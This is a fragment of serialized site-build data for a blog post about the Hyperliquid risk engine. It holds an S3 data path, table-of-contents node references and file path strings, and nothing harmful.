",{"type":21,"tag":78,"props":167800,"children":167802},{"className":167801},[],[167803],{"type":26,"value":167804},"s3://hl-mainnet-node-data/explorer_blocks",{"type":26,"value":355},{"title":7,"searchDepth":166,"depth":166,"links":167807},[167808,167809,167810,167811,167812,167815,167816,167817,167820,167821,167824,167828],{"id":161199,"depth":166,"text":161202},{"id":161192,"depth":166,"text":161220},{"id":161277,"depth":166,"text":161280},{"id":161558,"depth":166,"text":161561},{"id":161592,"depth":166,"text":161595,"children":167813},[167814],{"id":161731,"depth":225,"text":161734},{"id":162510,"depth":166,"text":162513},{"id":162606,"depth":166,"text":162609},{"id":162824,"depth":166,"text":162827,"children":167818},[167819],{"id":163069,"depth":225,"text":163072},{"id":163129,"depth":166,"text":163132},{"id":167495,"depth":166,"text":167498,"children":167822},[167823],{"id":167527,"depth":225,"text":167530},{"id":167586,"depth":166,"text":167589,"children":167825},[167826,167827],{"id":167592,"depth":225,"text":167595},{"id":167611,"depth":225,"text":163166},{"id":167641,"depth":166,"text":167644,"children":167829},[167830,167831,167832,167833],{"id":167652,"depth":225,"text":167655},{"id":167674,"depth":225,"text":167677},{"id":167690,"depth":225,"text":167693},{"id":167714,"depth":225,"text":167717},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630606]